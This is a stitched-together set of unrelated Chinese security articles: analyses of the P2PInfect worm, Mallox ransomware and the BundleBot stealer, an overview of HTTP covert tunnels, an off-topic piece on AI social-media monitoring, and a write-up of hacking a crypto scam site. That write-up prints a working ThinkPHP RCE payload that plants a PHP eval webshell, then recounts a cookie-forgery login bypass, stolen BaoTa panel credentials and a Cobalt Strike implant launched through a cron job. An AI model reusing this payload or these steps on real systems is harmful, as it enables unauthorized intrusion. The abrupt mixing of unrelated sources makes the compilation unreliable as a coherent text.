下圖是對暴露的Redis實例的P2PInfect掃描操作。

7.png

掃描Redis實例

P2PInfect的其他觀察結果一些發送到被攻擊系統的初始有效負載p2p樣本包含UPX,而第二階段的惡意軟件樣本miner和winminer沒有包含UPX。

在第一個滴管運行後,它開始解密從命令行接收的配置,以及關於P2P網絡中其他節點的信息。我們發現P2P端口是可變的,這有利於攻擊者發起攻擊。

8.png

P2PInfect的可變端口示例

Unit 42研究人員發現的所有樣本都是用Rust編寫的,有些樣本內部有“洩露的符號”,這可以顯示惡意軟件開發者的項目結構。例如,windows示例主執行線程洩露了項目的名稱以及攻擊者的文件目錄使用情況。

9.png

從核心Windows P2PInfect樣本中提取的分析

研究人員還發現了一個PowerShell腳本,用於在受感染的主機和P2P網絡之間建立和維護通信。 PowerShell腳本利用encode命令來混淆通信啟動。

10.png

混淆PowerShell命令建立P2P網絡連接

PowerShell命令執行的第一個操作之一是配置本地系統防火牆,以阻止對受攻擊Redis應用程序的合法訪問(見下圖的第五行)。然後(從圖11中的第17行開始),腳本打開一個通信端口,供攻擊者訪問受攻擊實例。這是持久性攻擊的一種形式,允許攻擊者保持對受感染主機的訪問並保持其可操作性。

11.png

修改被攻擊Windows實例的網絡流量規則

從解碼的PowerShell中可以看出防火牆配置設置如下:

對等端口為60102,此端口是可變的,因為並非所有節點都使用相同的端口;

Redis端口6379只允許連接已知的C2 IP;

防火牆規則名為Microsoft Sync;

監控進程在Windows操作系統中運行時,初始P2PInfect負載的另一個有趣功能是一個名為Monitor的進程。 Monitor進程的作用是維護受攻擊主機上運行的P2PInfect進程的功能。 Monitor被轉儲到C:\Users\username\AppData\Local\Temp\cmd.exe,Monitor (cmd.exe)枚舉系統運行進程的示例如下所示:

12.png

P2PInfect監控器示例cmd.exe進程樹

啟動Monitor(cmd.exe)後,初始P2PInfect負載從P2P網絡下載其自身的新版本,並將它們以隨機名稱保存到相同原始文件夾中,然後釋放加密配置(.conf)。

13.png

隨機文件名的示例

執行新的P2PInfect下載版本,並啟動掃描操作以查找其他易受攻擊的Redis實例。初始P2PInfect滴管將嘗試刪除自己。

14.png

刪除核心P2PInfect有效負載

總結P2PInfect蠕蟲功能複雜設計先進,其中的關鍵是使用Rust語言,具備了靈活性功能,允許蠕蟲在多個操作系統中快速傳播。

設計和構建P2P網絡來執行惡意軟件的自動傳播,在雲目標或加密劫持領域並不常見。同時,研究人員認為它的目的是在多個平台上攻擊和支持盡可能多的Redis易受攻擊的實例。

研究人員在多個地理區域的HoneyCloud平台上捕獲了幾個樣本,認為P2P節點的數量正在增長。這是由於潛在目標的數量非常多,在過去兩週內,超過30.7萬個Redis實例公開通信,另外,蠕蟲能夠在不同地區危害研究人員的多個Redis蜜罐。目前,研究人員還沒有估計存在多少節點,也沒有估計與P2PInfect相關的惡意網絡的增長速度。

研究人員建議組織監控所有Redis應用程序,包括本地應用程序和雲環境中的應用程序,以確保它們在/tmp目錄中不包含隨機文件名。此外,DevOps人員應持續監控其Redis實例,以確保其維護合法操作和網絡訪問。所有Redis實例也應更新到其最新版本,或更新到redis/5:6.0.16-1+deb11u2, redis/5:5.0.14-1+deb10u2, redis/5:6.0.16-2 and redis/5:7.0~rc2-2。

最近偶然发现一个虚拟货币买涨跌的杀猪盘,遂进行了一波测试,前台长这样。

图片

为thinkphp5.0.5随用RCE进行打入,成功写入webshell。

s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@file_put_contents(base64_decode(MTIzNDUucGhw),base64_decode(MTI8P3BocCBldmFsKEAkX1BPU1RbJ2EnXSk7))

查看发现phpinfo信息发现已经禁用所有能够执行系统命令的函数,且com和dl加载都不能用无法执行相应的系统命令如下所示:

图片

assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open
//php如上系统命令都已禁用

但有文件的读写权限没有禁用assert(),file_put_contents()等函数,查看后发现为windows系统如下所示:


图片


由于php执行系统命令的函数都被禁用了,从而导致无法执行系统命令很难受。之后下载了他的网站源码简单看了一波,发现其管理员cookie固定且可以伪造如下所示看着像后门:

图片


故可后台登录绕过,管理员cookie固定,添加cookie字段即可登录绕过。浏览器f12,在cookie中添加上述键值访问index,即可成功后台登录如下所示好多钱(被骗的人好多):

图片

前台询问客服了解到转账账户(该杀猪盘运作方式是用户将钱打入客服提供的账号后,用户再在自己的账号冲入相应数值的资金至后台审核,审核后即可使用该数值的钱进行货币的涨跌投资买卖交易),留作证据上交:

图片


由于之前一直无法执行系统命令,想要突破一下就开始翻他服务器上的文件,翻阅系统文件发现存在宝塔的文件夹,探测发现确实开放8888端口存在宝塔服务但默认登录入口已被修改,如下所示:

图片


翻阅宝塔文件发现存储路径的文件名admin_path.pl,如下所示:

图片

找到宝塔登录入口,成功访问该登录入口,如下所示:

图片


继续翻阅发现一个default.pl的文件,该文件中存放的是相应的登录密码:

图片


拿到密码尝试了默认用户名发现不对不能登录,继续翻文件default.db文件是记录登录记录的,找到登录账号:

图片

利用账号密码成功登录宝塔管理后台,如下所示:利用账号密码成功登录宝塔管理后台,如下所示:

图片


找到定时任务处修改计划任务执行cs上线马,上线后在将计划任务改回如下所示:


图片

cs成功上线如下所示:

图片

查看ip仅有公网地址无内网,同C段还有其他几台部署的都是同一套东西就不在往下搞了:

图片

总的就这样,没啥东西比较无味




转载于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486570&idx=1&sn=0c20fbbf4adbeb5b555164438b3197f7&chksm=ce67a6f3f9102fe51b76482cd7d6bb644631ae469d8c1802956034077137ecd49ea56c8d2b1f&scene=21#wechat_redirect

https://xz.aliyun.com/t/8224

Mallox(又名TargetCompany、FARGO和Tohnichi)是一種針對Windows系統的勒索軟件。自2021年6月出現以來就一直很活躍,並以利用不安全的MS-SQL服務器作為攻擊手段來攻擊受害者的網絡而聞名。

最近,Unit 42的研究人員觀察到與去年相比,利用MS-SQL服務器傳播勒索軟件的Mallox勒索軟件活動增加了近174%。研究人員觀察到,Mallox勒索軟件使用暴力破解、數據洩露和網絡掃描儀等工具。此外,有跡象表明,該組織正在擴大其業務,並在黑客論壇上招募成員。

Mallox勒索軟件概述與許多其他勒索軟件一樣,Mallox勒索軟件使用了雙重勒索方法:在加密組織文件之前竊取數據,然後威脅將竊取的數據發佈在洩露網站上,增加勒索籌碼。

下圖顯示了Tor瀏覽器上的Mallox勒索軟件網站。儘管這些組織的名稱和標識已經被塗黑,但這就是該組織展示其目標洩露數據的方式。

3.png

Tor瀏覽器上的Mallox網站

每個受害者都有一把私鑰,可以與該組織互動並協商條款和付款。下圖展示了用於交流的工具。

4.png

Tor瀏覽器上的Mallox私人聊天

Mallox勒索軟件幕後組織聲稱有數百名受害者被攻擊。雖然受害者的實際人數尚不清楚,但分析顯示,全球有潛在受害者已經很多,涉及多個行業,包括製造業、法律服務、批發和零售業。

自2023年初以來,Mallox的活動一直在不斷增加。根據研究人員追踪分析和從公開威脅情報來源收集的數據,與2022年下半年相比,2023年Mallox攻擊增加了約174%。

5.png

從2022年下半年到2023年上半年的Mallox攻擊嘗試

初始訪問自2021年出現以來,Mallox組織一直採用相同的方法獲得初始訪問權限,該組織以不安全的MS-SQL服務器為目標滲透到網絡中。這些攻擊從字典暴力攻擊開始,嘗試針對MS-SQL服務器的已知或常用密碼列表。在獲得訪問權限後,攻擊者使用命令行和PowerShell從遠程服務器下載Mallox勒索軟件負載。

6.png

響應由Cortex XDR和XSIAM引發的Mallox勒索軟件字典暴力攻擊而引發的警報示例

Mallox勒索軟件感染的命令行示例:

7.png

該命令行執行以下操作:

從hxxp://80.66.75[.]36/aRX.exe下載勒索軟件有效負載,並保存為tzt.exe;

運行名為updt.ps1的PowerShell腳本;

接下來,有效負載繼續執行以下操作(未在上面顯示的命令行腳本中顯示):

下載另一個名為system.bat的文件,並將其保存為tzt.bat;

“tzt.bat”文件用於創建名為“SystemHelp”的用戶,並啟用RDP協議;

使用Windows管理工具(WMI)執行勒索軟件有效負載tzt.exe;

下圖顯示了Cortex XDR和XSIAM如何檢測SQL服務器利用的第一階段。

8.png

SQL服務器利用過程(僅限於測試目)

勒索軟件執行在進行任何加密之前,勒索軟件有效負載會嘗試多種操作以確保勒索軟件成功執行,例如:

嘗試使用sc.exe和net.exe停止和刪除sql相關的服務。這樣,勒索軟件就可以訪問並加密受害者的文件數據。

試圖刪除卷影,使文件加密後更難被恢復。

9.png

刪除卷影副本的警報,由Cortex XDR和XSIAM引發

試圖使用微軟的wevtutil命令行工具清除應用程序、安全、設置和系統事件日誌,以阻止檢測和取證分析工作;

使用Windows內置的takeown.exe命令修改文件權限,拒絕訪問cmd.exe和其他關鍵系統進程;

防止系統管理員使用bcdedit.exe手動加載系統映像恢復功能;

試圖使用taskkill.exe終止與安全相關的進程和服務,以逃避檢測;

試圖繞過檢測反勒索軟件產品,如果存在,通過刪除其註冊表項。下圖是整個過程的一個示例。

10.png

刪除檢測註冊表項

如下圖所示,勒索軟件的流程樹中顯示了上述一些活動:

11.png

攻擊的完整進程樹,如Cortex XDR和XSIAM所示(僅為檢測模式)

這個調查的Mallox勒索軟件示例使用ChaCha20加密算法對文件進行加密,並為加密的文件添加.malox擴展名。除了使用受害者的名字作為擴展名之外,觀察到的其他文件擴展名還有:FARGO3、colouse、avast、bitenc和.xollam。有關Cortex XDR中加密文件的示例如下圖所示。

12.png

Cortex XDR檢測到的Mallox勒索軟件加密的文件示例(僅為檢測模式)

Mallox在受害者驅動器的每個目錄中都留下了一張勒索信,其中解釋了感染情況並提供了聯繫信息,如下圖所示。

13.png

Mallox勒索信示例

執行後,惡意軟件會自行刪除。

根據其一名成員的說法,Mallox是一個相對較小且封閉的組織。然而,該組織似乎正在通過招募附屬公司來擴大業務。

在這次採訪幾天后,一位名叫Mallex的用戶在黑客論壇RAMP上發帖稱,Mallox勒索軟件組織正在為一個新的Mallox軟件即服務(RaaS)分支計劃招募分支機構,如下圖所示。

14.png

用戶Mallx在RAMP上的帖子

早在2022年5月,一位名叫RansomR的用戶在著名的黑客論壇上發帖稱,Mallox組織正在尋找加入該組織的附屬公司。

15.png

RansomR在null上的帖子

如果他們的計劃取得成功,Mallox組織可能會擴大其覆蓋範圍,以攻擊更多的組織。

總結Mallox勒索軟件組織在過去幾個月裡更加活躍,如果招募附屬機構成功,他們最近的招募工作可能使他們能夠攻擊更多的組織。

組織應該時刻保持高度警惕,並準備好防禦勒索軟件的持續威脅。這不僅適用於Mallox勒索軟件,也適用於其他勒索軟件。

建議確保所有面向互聯網的應用程序都配置正確,所有系統都打了補丁並儘可能更新。這些措施將有助於減少攻擊面,從而限制攻擊。

部署XDR/EDR解決方案來執行內存檢查和檢測進程注入技術。執行攻擊搜索,尋找與安全產品防禦逃避、服務帳戶橫向移動和域管理員相關的用戶行為相關的異常行為的跡象。

緩解措施Palo Alto Networks Cortex XDR檢測並阻止Mallox勒索軟件執行的文件操作和其他活動。

16.png

阻止Mallox執行的終端用戶通知

17.png

由Cortex XDR和XSIAM引發的可疑文件修改警報(僅為檢測模式)

SmartScore是一個獨特的機器學習驅動的評分引擎,它將安全調查方法及其相關數據轉換為混合評分系統,對涉及Mallox勒索軟件的事件進行了100分的評分。這種類型的評分可以幫助分析人員確定哪些事件更緊急,並提供評估原因,幫助確定優先級。

18.png

關於Mallox勒索軟件事件的SmartScore信息

針對Mallox勒索軟件的安全產品要具有以下功能,才能起到有效保護:

識別已知的惡意樣本;

高級URL過濾和DNS安全將與該組織關聯的域識別為惡意;

通過分析來自多個數據源(包括終端、網絡防火牆、Active Directory、身份和訪問管理解決方案以及雲工作負載)的用戶活動來檢測基於用戶和憑據的威脅。另外,還可以通過機器學習建立用戶活動的行為概況。通過將新活動與過去的活動和預期行為進行比較,檢測到攻擊的異常活動。

一、概述在網絡安全領域,隱蔽隧道是一種基於主流常規協議將惡意流量偽裝成正常通信起到夾帶偷傳數據、下發控制指令等作用,同時對數據進行加密以最大限度的規避網絡安全設備檢測的傳輸技術。由於隱蔽隧道更容易繞過網絡安全設備的檢測,因此黑客對其的使用越來越廣泛,在攻防演練中,隱蔽隧道更是攻擊中必不可少的一環,在攻擊隊完成初始打點後,通常會建立外聯隱蔽隧道以維持內網權限,並進一步通過橫向移動最終獲得靶標,而隱蔽隧道的種類繁多,從協議的視角來看,常見的隧道種類有HTTP隧道、DNS隧道、ICMP隧道、SSH隧道、TCP隧道、UDP隧道等,這其中最為常見的當屬HTTP隧道,所以了解HTTP隱蔽隧道的特點及其對應的黑客工具,對於防禦方來說是至關重要的。

二、HTTP隧道詳解HTTP隧道是一種基於HTTP協議實現的網絡隧道,可以將任意類型的網絡流量通過HTTP協議的數據包進行傳輸,從而實現對網絡流量的加密和隱藏,WebShell、代理轉發、遠控回連等場景都能看到HTTP隧道活躍的身影。 HTTP隧道的主要特點包括:高效穩定、靈活隱蔽、適合加密,本文將詳細介紹HTTP隧道的主要特點和常用工具。

1、HTTP隧道的主要特點高效穩定:得益於作為隧道載體的HTTP協議成熟且強大,攻擊者可以使用標準HTTP協議帶來的一切便利,例如:簡單請求-響應模式帶來的穩定性、支持長連接與數據壓縮帶來的高傳輸性能與易於控制和管理等,這讓它可以很容易的適用於不同類型的網絡環境和應用場景。

靈活隱蔽:HTTP隧道良好擴展性帶來的高度可定制化能力,它可以自由的將需要傳輸的數據放在HTTP請求/響應頭或者HTTP載荷數據中的任意位置,不必局限於固定的某個字段,並且偷傳數據的同時還可以偽裝成正常的上網行為或者普通的HTTP業務流量,在網絡基礎設施高度發達的今天,還有CDN、雲函數等正經業務被用作其保護傘,這種隱蔽性非常強,可以很好的避免其被流量檢測設備和防火牆檢測出來,有效提高了隧道通信的存活能力。

【攻防演练篇】攻防演练场景中面临的常见加密威胁-HTTP隐蔽隧道-v2(4)874.png

圖1利用CDN傳輸數據

適合加密:HTTP隧道天生適合加密傳輸數據,因為HTTP協議本身就支持了URL編碼、Base64編碼、Gzip編碼、Deflate編碼、二進制編碼、Multiformat編碼等各式各樣的加密、壓縮與傳輸編碼方式,所以在此之上再對數據進行一層從簡單如XOR到復雜如AES的加密就讓真實的攻擊更難被與正常業務流量區分開來。不僅如此,HTTP隧道很多時候還可以披上TLS的外衣搖身一變成為HTTPS協議,這種嵌套加密技術成本極低,但檢測難度卻變的極大。

【攻防演练篇】攻防演练场景中面临的常见加密威胁-HTTP隐蔽隧道-v2(4)1135.png

圖2疊加了多種編碼方式的加密數據

2、支持HTTP隧道的常用工具攻擊者常用的黑客工具很多都支持HTTP隧道功能:

image.png

1. Chaos:一款C2工具,客戶端上線後能夠執行Shell、截屏、文件上傳下載、訪問指定url等功能。通信只使用HTTP協議,兩秒一次的心跳包,通信全程沒有加密,部分內容使用了Base64編碼。

2. CobaltStrike:Cobalt Strike是一款流行的滲透測試工具,由Raphael Mudge開發。它提供了一個高級的圖形界面,可用於通過社會工程學技術、漏洞利用和後期特權升級攻擊等手段入侵受控機器,並支持使用命令和控制服務器(C2)對受感染的主機進行遠程控制。它支持動態HTTP隧道,即在隧道連接過程中可以更改隧道參數,增加隧道的安全性,同時具有豐富的配置選項,可以根據具體的攻擊需求進行定制,包括端口號、請求頭、響應頭與各種編碼、加密方式等。

3.Empire:Empire是一款開源的滲透測試工具,可用於生成、編碼和部署各種類型的攻擊負載(Payload),並通過HTTP/HTTPS等協議與攻擊目標進行通信。 Empire提供了一個強大的命令行界面,可用於建立、配置和控制攻擊載荷,支持模塊化插件架構,使其可以輕鬆地擴展功能。這款工具結合了HTTP摔倒與TCP隧道:木馬發送HTTP請求時服務端會通過tcp返回指令內容,tcp載荷全部加密傳輸,當指令傳輸完畢,服務端會返迴響應200,該響應的載荷也是加密的。

4.Octopus:Octopus旨在與C2進行通信時保持高度隱秘,它的第一次請求url是生成木馬時自定義設置的,同時返回體中定義了aes-key、aes-iv、心跳時間以及後續使用的臨時命令下發url與心跳url,在這之後將隧道使用AES-256的方式加密。在此之上還可以通過為C2服務器配置有效的證書以使用HTTPS加強隱秘性。

5.ABPTTS:ABPTTS是NCC Group在2016年blackhat推出的一款將TCP流量通過HTTP/HTTPS進行流量轉發,在目前云主機的大環境中,發揮了比較重要的作用,可以通過腳本進行RDP,SSH,Meterpreter的交互與連接。這也意味著這樣可以建立一個通過80端口的隧道流量出站來逃避防火牆。與其它http隧道不同的是,abptts是全加密。但是可惜的是,ABPTTS只支持aspx和jsp。

三、總結由於HTTP隱蔽隧道擁有靈活且隱蔽的特性,傳統字符串與弱特徵匹配的檢測方式容易被繞過,並且從單包和單會話層面想找到隧道的明顯特點也非常困難。觀成科技安全研究團隊經過研究發現,對於HTTP隧道,可以從隧道通信的行為本身,以及攻擊者對HTTP協議的使用與正常業務的區別等方面挖掘特徵進行檢測。

社交媒體帖子是熱門且有價值的信息的來源。雖然大多數人使用社交媒體討論貓、狗、名人以及孩子相關話題,但也有一些帖子呼籲暴力、討論網絡安全攻擊和宣布突發新聞。但在不斷增長的內容堆中手動發現此類帖子或異常幾乎是不可能的。

在本文中,我們將討論借助人工智能(AI) 算法和Python 工具構建此類解決方案的關鍵組件。本文對於計劃開發社交媒體異常檢測解決方案的項目經理、AI 團隊和SaaS 開發團隊非常有用。

為什麼要檢測社交媒體上的異常情況?人工智能如何提供幫助?在IT 系統中,異常是指偏離預期的事件或數據記錄。在社交媒體背景下,異常檢測有助於分析事件、趨勢或個性,並捕捉個人和群體行為的有意義的變化。非典型用戶行為、熱門新話題和仇恨言論都可以被視為異常。

以前,此類工作是手動完成的。例如,警察可以監控社交網絡上的當地群體以發現威脅,記者可以在社交媒體上尋找新的故事和討論主題。

現在,人工智能驅動的技術使組織能夠自動化這些活動。使用機器學習(ML) 和人工智能算法來檢測異常更加有效,原因如下:

image.png

儘管有這些好處,基於人工智能的異常檢測無法取代分析異常並根據該分析做出決策的專家。這樣的解決方案只能節省數據收集和初步分析的時間。

誰可以從社交媒體異常檢測解決方案中受益?社交網絡不再只是與朋友交談的地方。人們用它們來開展業務、閱讀和發布新聞,甚至計劃事件和活動。這就是為什麼許多組織需要監控社交網絡以發現不同類型的異常情況。

社交媒體上基於人工智能的異常檢測對於在各個行業運營的組織非常有用:

image.png

社交網絡。任何社交網絡都必須能夠檢測和阻止仇恨言論、虛假新聞、冒充和機器人攻擊等事件。社交網絡開發人員可以依靠支持員工和用戶報告來檢測此類威脅,但這需要大量時間和金錢。相反,他們可以實施基於人工智能的異常檢測,以確保為用戶提供舒適的環境。

公共行政。防止對人民的威脅是任何政府的主要目標之一。監控社交媒體上的文本和視頻使政府組織能夠發現違反公共秩序、身體虐待、對國家安全的威脅以及其他類型的潛在非法活動。它對於揭露發生在公眾視野之外的事件(例如家庭暴力和非法交易)特別有用。

軍事。國家和國際軍事組織監控社交媒體以發現潛在的軍事威脅並收集情報。社交媒體上的異常對於開源情報(OSINT)操作也很重要,因為它們可能表明信息洩露、隱藏的用戶個人資料、未經宣布的軍事行動等。

網絡安全。對於網絡安全專家來說,與安全相關的社交媒體中的異常可能是潛在惡意活動的跡象。它們可以揭示黑客企圖、內部攻擊、數據洩露等的準備情況。此類數據有助於防止安全威脅並改善組織的整體網絡安全狀況。

教育。學生的人身安全是教育組織日益關注的問題。通過社交媒體監控和異常檢測,學校和大學可以隨時了解校園內的討論以及來自外部的可能威脅。

新聞媒體。監控社交媒體上的帖子是任何記者日常工作的重要組成部分。記者尋找新聞、專家意見和新趨勢,從數據分析的角度來看,這些都是異常現象。為這項任務應用專用的異常檢測解決方案可以為新聞媒體組織的員工節省大量時間,並使他們能夠更快地發布新聞。

如此廣泛的用例意味著不可能有一種一刀切的社交媒體異常檢測解決方案。您可以使用各種開發方法和工具來構建適合您確切需求的解決方案。

Python為開發人員提供了大量的AI開發工具和廣泛的集成選項。這種語言有幾個專用於人工智能開發的包和大量庫。使用它們可以大大減少開發時間,因為在大多數情況下,您不需要發明自己的解決方案。如果您這樣做,您可以從詳細的Python 文檔和強大的社區獲得幫助。

在雲中部署異常檢測解決方案可讓您受益於所有SaaS 優勢:24/7 可用性、通過互聯網連接從任何位置和設備進行訪問、經濟高效的資源使用等等。如果考慮到人工智能發展的蓬勃發展可能導致GPU 短缺,訪問云硬件也很方便。

讓我們看一下可以幫助您檢測社交媒體上的異常情況的關鍵非人工智能功能。

哪些SaaS 功能對於異常檢測很重要?讓我們仔細看看設計異常檢測系統時需要注意的核心功能:

image.png

存儲和數據庫。異常檢測解決方案收集、處理和生成大量數據。您可以使用Amazon S3或Google Cloud Storage等雲服務來存儲這些數據。對於數據庫,請考慮使用Apache Cassandra或MongoDB,因為它們都可以有效管理大量通用數據,並且可以在重負載下快速工作。

網絡爬蟲。這部分解決方案必須搜索社交媒體並下載數據供人工智能分析。您可以配置爬蟲下載的數據類型。根據您項目的需求和要求,您可以使用Scrapy等開源框架來實現網絡爬蟲或開發自定義功能。 Python 提供了可用於此任務的Request和Beautiful Soup庫。

警報和通知。使用雲和人工智能進行異常檢測的主要優勢之一是近乎實時地標記異常內容。為了幫助用戶快速分析和響應異常情況,您可以以桌面消息、電子郵件和消息通知的形式實施警報。 Gmail、Slack 和Telegram 等常見通信工具提供了API,您可以將其集成到您的解決方案中,以通過您首選的通信渠道自動發送通知。

內容過濾器。為了能夠在異常檢測解決方案收集的一堆數據中找到某個事件,最終用戶需要一個過濾系統。您可以在解決方案中構建基本過濾器,並為用戶提供配置自定義過濾器的能力。例如,考慮添加內容源、內容類型、發現日期、檢測到的異常和可信度的過濾器。為了實現此類過濾器,Python 提供了PyOD、tsfresh、anomatools、PyCaret、anomalize和其他庫。

儀表板和數據可視化。此功能顯著簡化了數據分析,並幫助用戶在檢測到的異常中找到模式。將儀表板與數據過濾器相結合,用戶可以分析一段時間內的特定異常,將其與其他異常進行比較,合併多個來源的數據,創建報告等。您可以使用Matplotlib、Folium、Seaborn和其他Python 庫實現各種數據可視化選項。

用戶管理。每個最終用戶都必須擁有一個具有一定權限級別的配置文件、登錄憑據以及用戶信息(例如ID、姓名、頭像、角色等)。用戶管理允許管理員創建、編輯和刪除用戶,根據權限配置其功能。他們的角色,並控制用戶活動。您可以查找適合您需求的可用用戶管理模塊,或者使用Flask或Django實現自定義模塊。

身份和訪問管理。控制對用戶帳戶和用戶權限的訪問是確保解決方案安全的重要步驟之一。考慮實施多重身份驗證,以識別使用Google Authenticator或2FA Authenticator等現成工具訪問系統的用戶。您還可以添加用戶角色、組和訪問限制,以允許解決方案管理員控制用戶訪問。

這些核心功能將使最終用戶能夠有效地與異常檢測解決方案進行交互。請記住,此列表並不詳盡,您的解決方案可能需要其他功能,具體取決於您的用例和產品要求。

在下篇文章中,讓我們看看人工智能在哪里以及如何檢測異常。

Check Point Research (CPR)對被稱為BundleBot的新型惡意軟件進行了深入分析發現,BundleBot濫用dotnet bundle(單文件),這是一種自包含的格式,可以很好繞過靜態檢測。它會偽裝成常規實用程序,人工智能工具和遊戲。通常通過Facebook廣告和受攻擊帳戶傳播。

詳細分析在過去的幾個月裡,BYOS公司一直在監控一個新的未知的竊取程序,研究人員稱之為BundleBot,他們發現其傳播並濫用dotnet bundle(單文件),自包含格式。從.net core 3.0+到dotnet8+,這種形式的dotnet編譯已經支持了大約四年,並且已經有一些已知的惡意軟件家族濫用它,例如Ducktail。

使用這種特定dotnet格式的BundleBot主要是濫用Facebook廣告和受攻擊帳戶,利用dotnet bundle(單文件)、自包含格式、多階段攻擊和自定義混淆。

dotnet bundle(單文件)、自包含的格式通常會導致整個dotnet運行時出現非常大的二進製文件。此外,分析和調試這樣的文件可能會導致一些問題,特別是如果這樣的文件受到一些混淆的影響。

本文主要深入分析BundleBot的攻擊方式,重點對dotnet bundle(單文件)、自包含格式進行分析。

發現過程自.NET Core 3.0(2019)發布以來,可以將.NET程序集部署為單個二進製文件。這些文件是不包含傳統.NET元數據標頭的可執行文件,並通過特定於平台的應用程序主機引導程序在底層操作系統上本地運行。

dotnet bundle(單文件),自包含格式是一種編譯形式,可以生成一個不需要在操作系統上預裝特定Dotnet運行時版本的可執行二進製文件。可執行文件實際上是一個本地託管二進製文件,在其覆蓋中包含整個dotnet運行時、程序集和其他依賴項,因此它很大,約幾十MB。本機託管二進製文件負責從覆蓋中提取(在執行時)所有內容,加載dotnet運行時和程序集,準備所有內容,並將執行轉移到.NET模塊的入口點。

當涉及到從覆蓋中提取程序集時(在執行時),我們可以根據用於編譯特定應用程序的目標dotnet版本來處理不同的例程。 dotnet版本之間的區別在於,在dotnet5+(.NET Core 3.0+)之前,默認情況下,所有程序集都被提取到磁盤(臨時目錄)並加載到進程內存中。

另一方面,在dotnet5+版本中,覆蓋層中的所有程序集都被提取並直接加載到進程內存中(沒有文件被釋放在磁盤上,則只有本地庫)。在dotnet5+中,可以在編譯期間指定提取,但默認設置是直接被提取到內存中的。

儘管研究人員仍在處理與dotnet相關的應用程序,但上述對這種特定文件格式的描述清楚地表明,需要使用不同的工具集和技術來正確分析它。

研究人員檢測到BundleBot濫用dotnet bundle(單文件),將其作為攻擊的最後階段,它與已經被公佈的幾個惡意活動有關,很可能是由同一個組織發起的。

攻擊載體在發現的示例中,最初的攻擊載體都是通過Facebook廣告或被攻擊的賬戶傳播的,攻擊程序偽裝成常規程序、人工智能工具和遊戲。例如,Google AI、PDF Reader、Canva、Chaturbate、Smart Miner、超級馬里奧3D世界。由於BundleBot的功能之一是竊取Facebook賬戶信息,這些被盜的信息進一步用於通過新受攻擊的賬戶傳播惡意軟件。

儘管如此,我們不能完全排除其他可能的傳播方式,因為我們無法通過相關的跟踪信息獲得所有檢測到的樣本源鏈接。

一旦受害者被誘騙從釣魚網站下載假程序實用程序,第一階段下載程序以“RAR”形式發送。這些下載階段通常是在Dropbox或Google Drive等託管服務上。

下載的“RAR”文件包含一個獨立的dotnet bundle(單文件)格式的第一階段下載程序。在執行第一階段後,第二階段以密碼保護的“ZIP”文件的形式下載,通常來自Google Drive等託管服務。第二階段的密碼在下載程序中進行硬編碼,通常是以編碼的形式。

被提取和執行的受密碼保護的“ZIP”文件的主要部分是BundleBot,它是dotnet bundle(單文件)、自包含格式和自定義混淆的組合。

下面是一個與虛假的實用程序“Google AI”有關的詳細攻擊鏈示例,它偽裝成使用Google AI Bard的營銷工具:

1.來自受攻擊賬戶的Facebook廣告或Facebook帖子的釣魚網站https://marketingaigg[.]com/。

1.png

受攻擊賬戶的Facebook上的釣魚網站

2.釣魚網站https://marketingaigg[.]com/偽裝成營銷工具,使用Google Bard AI引導下載頁面https://googlebardai[.]wiki/Googleai。

2.png

導致下載階段的釣魚網站

3.URL https://googlebardai[.]wiki/Googleai正在從Dropbox託管服務。

下載“RAR”文件Google_AI.rar (SHA-256:

“dfa9f39ab29405475e3d110d9ac0cc21885760d07716595104db5e9e055c92a6”);4.Google_AI.rar包含GoogleAI.exe (SHA-256: ' 5ac212ca8a5516e376e0af83788e2197690ba73c6b6bda3b646a22f0af94bf59 '), dotnet bundle(單個文件)和自包含的應用程序;

5.GoogleAI.exe包含用作下載程序的GoogleAI.dll dotnet模塊(從https://drive.google[.]com/uc?id=1-mC5c7o_B1VuS6dbQeDAAqLuPbfAV58Oexport=downloadconfirm=t, password=alex14206985alexjyjyjj下載受密碼保護的“ZIP”文件adsnew - 1.0.0.0 . ZIP);

6.解壓後的ADSNEW-1.0.0.3.zip (SHA-256: ' 303c6d0cea77ae6343dda76ceabaefdd03cc80bd6e041d2b931e7f6d59ca3ef6 ')包含RiotClientServices.exe, dotnet bundle (單文件)以及自包含應用程序。

7.RiotClientServices.exe作為最後階段服務和執行,包含兩個惡意dotnet模塊RiotClientServices.dll,BundleBot,和libarysharing .dll ,他們是C2數據序列化程序。

自包含Dotnet Bundle 的分析當我們需要分析一個自包含的dotnet bundle(單文件)二進製文件時,我們會遇到幾個問題。

第一個問題是,我們需要以某種方式提取所有二進製文件,這些二進製文件是上述包bundle覆蓋的一部分。這種提取將幫助我們靜態地調查每個文件,就像我們在處理普通的dotnet程序集時所做的那樣。儘管目前該做法還不太成熟,但是已經有一些解決方案能夠充分分析dotnet bundle格式了,從而幫助我們進行提取。我們基於GUI的工具和庫,以編程的方式實現這一點。值得注意的是,目前dnSpy/dnSpyEx不支持提取dotnet bundle文件。

可以幫助提取的最可靠的基於GUI的工具包括:

ILSpy:開源.NET程序集瀏覽器和反編譯器;

dotPeek:免費的.NET反編譯器和程序集瀏覽器;

ILSpy中dotnet bundle的提取:

3.png

ILSpy中的dotnet bundle提取

dotPeek中dotnet bundle的提取:

4.png

dotPeek中dotnet bundle的提取

如上所述,dotnet bundle文件的提取也可以通過編程的方式完成。當我們處理較大的文件集時,這種方法非常方便。

為此,最合適的解決方案是使用AsmResolver。 AsmResolver是一個便攜式可執行(PE)檢查庫,能夠讀取,修改和寫入可執行文件,這包括.NET模塊以及本機映像。該庫仍然允許用戶訪問低級結構。更重要的是,AsmResolver理解bundle文件格式,因此我們可以使用它來自動提取。

下面是使用AsmResolver和PowerShell提取bundle文件內容的代碼示例。

5.png

現在,當我們成功地提取了dotnet bundle文件的全部內容時,就可以使用通常用來檢查普通dotnet程序集的任何工具,比如dnSpyEx。這將允許我們靜態地調查每個.net程序集。

6.png

dnSpyEx中dotnet程序集的靜態分析

由於dotnet程序集,特別是惡意程序集,通常非常複雜,並且經常受到一些混淆或保護的影響,大多數研究人員傾向於將靜態和動態分析方法結合起來。關於動態方法,我們使用一個自包含的dotnet bundle(單文件)二進制調試來接近第二個問題。

在託管調試器(如dnSpyEx)中調試dotnet程序集是常用的一種方法。 dnSpyEx中的調試不完全支持自包含的dotnet bundle二進製文件,如果試圖調試此類文件,可能會導致如下所示的類似異常。

7.png

調試自包含dotnet bundle時拋出的DnSpyEx異常

